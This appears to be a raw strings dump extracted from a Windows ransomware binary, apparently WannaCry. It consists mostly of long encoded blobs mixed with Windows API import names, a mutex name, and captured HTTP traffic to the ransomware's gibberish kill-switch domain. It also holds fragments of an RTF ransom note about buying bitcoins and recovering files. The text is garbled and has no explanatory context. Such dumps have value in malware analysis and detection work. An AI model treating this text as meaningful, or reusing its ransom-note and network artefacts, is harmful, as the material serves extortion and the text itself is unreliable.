myHtIgTWq2BX0ZKuFE4haQIe7hFfWyn9gyrNyRo+/NnXf52VaD2cbnqjg+jtf0bTXzHG0fIyAR12HeyKW2od5ztKmad25Jzp07o7p2fbUzFRabo563brmIMoAVOmxm1c1FJ9pgIdPXQCtbjB4ASJW6lM79qAsCCAAWtwcMe6FmfG/KcMQMSYov0lsZAT2bnAOl8qM7tGYOHfifrQP7qGDm1l5/7kFu1PBzoGusLFSHAD5wx+6ll2fNEZXmzsY1Wp8TI9WgOOOmhgiTnlRLrvzCQsiwjEak/va8HC4KXSk fLqCC7CAHqMKnYTcA3SUmuLGfxwL0aNQJPYYCUcJiryT3FPY5lVwFhOuqmJs0Dg/d3BB0r8dAlSEVK9SMWDIjS+PXA3om/XAGSLh8ZSVijmCOwA7X2k7RVng3yFSHLUkbWSEnPM/sgMC3D2nRt9wLJmA44P8hcsWfuNL7SRflVzXQHcV2adUtkLE+HIzjwt5cE7M2UVBSSxlPC1AAirfL6XEhauy6ScUpQDzWCFtL3afWvxZjM4U0K72Ju4lWHikgBcXLlaaNEC72ENdljVIzJVoPj9zZNyxiGSo70HmT7k830DHjzB6AYJj8/dhPMgfZj/yybHuUUpy1MIu+vBnJZRDenyS4kidxn1Iv+A/+dzn1210k+024JcFvuxBUimvE7dOLB3HgM0mZDnhy6VGaryy+ZPmM1V1EM1UhSdWljpJEF1fsB1jgDrN3F7QWmYOZm/5l0CCGbRQoywKE8AyQrlECIc08bZcGqdMOFuXjoMymMn82+4Z3TwCLBgGtD9nKWoWmRXJCtn0YD1D+Na0ItJQcgUkIeAOYYNRi6WszOl849/8vD/gRrvluxBQniGB+50GjJ5b/QArC6YsTn47vTHimG4361/8CSnGU1BD+F5VsOl9f9GFrdl8m22BcEX9CcrPPVu7bIoUMdA02NkkeL489kAHKh/Qy7/+t7nxpf0lEaEbRLVZnhq38OGpWihV/spVLJsJBWiNOW5VUEmEa/myHtIgTWq2BX0ZKuFE4haQIe7hFfWyn9gyrNyRo+/NnXf52VaD2cbnqjg+jtf0bTXzHG0fIyAR12HeyKW2od5ztKmad25Jzp07o7p2fbUzFRabo563brmIMoAVOmxm1c1FJ9pgIdPXQCtbjB4ASJW6lM79qAsCCAAWtwcMe6FmfG/KcMQMSYov0lsZAT2bnAOl8qM7tGYOHfifrQP7qGDm1l5/7kFu1PBzoGusLFSHAD5wx+6ll2fNEZXmzsY1Wp8TI9WgOOOmhgiTnlRLrvzCQsiwjEak/va8HC4KXSkI FlsGetValue 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 FrameMerging FrameTabWindow FtpDefaultExpiryTimeSecs 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 GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cachev GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cachey GetACP GetActiveWindow GetAdaptersInfo GetCommandLineA GetComputerNameW GetConsoleCP GetConsoleMode GetCPInfo GetCurrentDirectoryA GetCurrentProcess GetCurrentProcessId GetCurrentThread GetCurrentThreadId GetEnvironmentStringsW GetExitCodeProcess GetFileAttributesA GetFileAttributesW GetFileSize GetFileSizeEx GetFileType GetFullPathNameA GetLastActivePopup GetLastError GetModuleFileNameA GetModuleFileNameW GetModuleHandleA GetModuleHandleW GetNativeSystemInfo GetOEMCP GetPerAdapterInfo GetProcAddress GetProcessHeap GetProcessWindowStation GetStartupInfoA GetStartupInfoW GetStdHandle GetStringTypeW GetSystemTimeAsFileTime GetTempPathW GetTickCount GetUserObjectInformationW GetVersion GetWindowsDirectoryW Global\\MsWinZonesCacheCounterMutexA gQu2Nyelth0SlOOalZtc8WGRFUrm2ZuCQpqSN9Z71t3PqXBOQIuQOvBm7DRt8LiOGWJ4Fgiw8zLUckIARWEUXUjklpNKgfWJR0DVxM6NGPBka6PlSXaaDn6cO35Likjr6hlVB8cOLTnmUzaUvSa3lR3RXRPG2rgZ3ARZALJ17t9dGs1u5EuNcl0UTmZ4FCpqYHadNm0frUnLz3f1VAHc/0/0jjEyMj+h4FMHHDslnvti7ajC1ws7EoOjVXfDV7GDyKJEr2CojIepkRTfLHNLMCd98YT1DYZRB/a8if3FzhYRMAZb1QKW9FiQi0HJra7eYXjA8cx4wZCq/M7XjTkXx6uSJUIGo45e6o6oE/PV/a18NryPB7YyO3tQz3BuSF3CKDxp3r4X+YgX+8yaQSKXmJVrXh3JLeSjtySsoYAUv49zfJVpmvsjXTXe1ZVXjg1dHXOB/286pHGYQsUSI1gPma99cJNVyLq/2NWfkvj67Kuu8gIuBOZpzsYvO8ZGSy4r+vj/kMIxyPqScm8n8oJmDkVyMvaSb/PIDjLf9gT41Zak2qiiobBtWWQlisXBNNLrx7VC9UYLDm4riZgYfVjvNI0DdSCzxwm880gSQghGcZDth6qfL//y/JWArPrY397u7IQDQ gralkGcVWBOlqZ6muD6zMY8kChC9NW9mzBRoUa4D8xlVjMpiqXlNggBIydZLt7KE5Nqcel/qY6hEc7FHT3+bPjHVKO5yCYF8R1Mun5ixLcdXS3NghRRf9qC3nr8XLuyVS/+ktxQYZlz0k48pfLrspxguOJkJER3GZcDT0B0rJHHIwqdx1VQVA3OUsbNBdNz0ReDlKIZt8kTDlk4mO8+YM9Uz2l6uV8QPCTDtYZZeaJCDxlQx+sXE2ZgAQEr6neprH8ycAIb64J3C5ZI0yFkLDbN2U+BkPA8otv1dADGEqxI1TtkOY/LcyNddDhyAW9gm4qf3MQyzclmKXbk8uEb3ZKFRmhGAUi+SFtzvnF6DZ5XCgpICgfBlIsU7SW6nO6yrRnOR6WKty1jMySkvyEUBr97g3YOgzTsp0vOZBz1mFpD0qJ7jOSjyWD5q+/HB7bJFC25fBV/a4+bp5dMa6s9wjOF9LUt1VPCd6mGZ1IxZQV94kzBmdbNoQNotIBUcyLOO3mtEyKHMarLQ7IdL3+6QPjrtZ676JFF6Fhco3kcwxLi7tEokjkrjiuxTJ7VOLMMoSqihIRgpTXkEvW4yy3O1fgQ+bAb0PNcCPaSxznfpGq9Rcq8uTkCgqDKEBujpjKKYi4BHd gtDZ1D3PsViACf6eCNazNXjyfs3PVKtrMZBuRJKW8wzFjbzQSIhdIDZOSjAXUgcdlP97sbMNkKnaMa6b5OoIkl+ntcznx2xWj6wCZGN8TNy49d+kC0aTEA4AqC8sAL5vg98Jkmv00XEKl2vICmUYMDTAmKpEiffmCaH19aOwHfwElTy1EnXAyAqSUxPax+VUeabSwSgo77Y/DOJUNTtvSA9akxw7ctUa6zNCo9NYkpYdmkl0kUVzEgdZQuLPb8He6gCiO/BIj5xXo92rx+uhczk25ArAZcQXDX1MRxY20HuT3rhmYYLpiuJX/mu7wb6CGWZ4i6/eolXB3sb3ucvGEzAheJm9zxnH3/tcqpC4MtJe/6OAawtD+e362d6 h(((( H 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 HeapSetInformation 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 How to buy bitcoins}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. How to buy bitcoins}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. How to buy}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoins>. HTTP/1.1 200 OKDate: Wed, 30 May 2018 15:34:22 GMTContent-Type: text/plainConnection: keep-aliveSet-Cookie: __cfduid=da10305ee2446276c19f4d5c76c652efe1527694462; expires=Thu, 30-May-19 15:34:22 GMT; path=/; domain=.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com; HttpOnlyContent-Length: 1Server: cloudflare-nginxCF-RAY: 423243b970d4a869-CDGv HTTP/1.1 200 OKDate: Wed, 30 May 2018 15:34:26 GMTContent-Type: text/plainConnection: keep-aliveSet-Cookie: __cfduid=d601df8d69eccd96df5a5e5fc812588201527694466; expires=Thu, 30-May-19 15:34:26 GMT; path=/; domain=.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com; HttpOnlyContent-Length: 1Server: cloudflare-nginxCF-RAY: 423243cd828db765-CDGy HttpDefaultExpiryTimeSecs hWjOELM/oLsaLWaWkBNpQcNK8bFtNS7P9EpmbuEXxDfeDD58iEGYXfQcP7VpR2sOT9LwJAIeh6A+jdqwmIG6+oQ8vrHKPDnaYKv3S108w+OEeT45BFYJKwWk+Ra3vRxnKbnRwJQuKEFILgZJSbVEG96tpqBQ4zYjNt/F17ESbH8qo84gKWu6RAAR6Pr+Urtj/81uAJJZHtd0NwBxGdcO566nFCFN3gjt0JoeF2MLmt0/P2yR9B9PGwlFViNLLfIDbqh7n5SJcMx5G6bTAD68SMpC3btqkL79qvdoP/NWLWfNbfFa+bw7GloQ+rmDHBlJQ5hg6IMi+REkxWwPquOqXoXnOtVv0M2mh0JKr6B7BinPYKTvRTwillNISUh2MVr8BfHLz52EoxrxSlctRKrIxVtBd41QsZ8KU/39GgueUuZIf7M0Cfck4pAOAsx5yeog9EtNtz2iXgOo3hyDc0h1Y++cVvvhmuig0qXJzt8Cavc/WYSDuDbVfMVxUwP+KTyjbOaYDJLrfBU0g1+oCQ8LF4i6eZn3/9Qah9fJpXBEVUkjQ6zHR9YeOjAqKuR4gqR+88y47cE25XMRehX66tw7i5iYm46aLdkMun6+qqX0sX4VP15G1+tOmBW3Cgi1YWV+NqKly i recupera toate fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 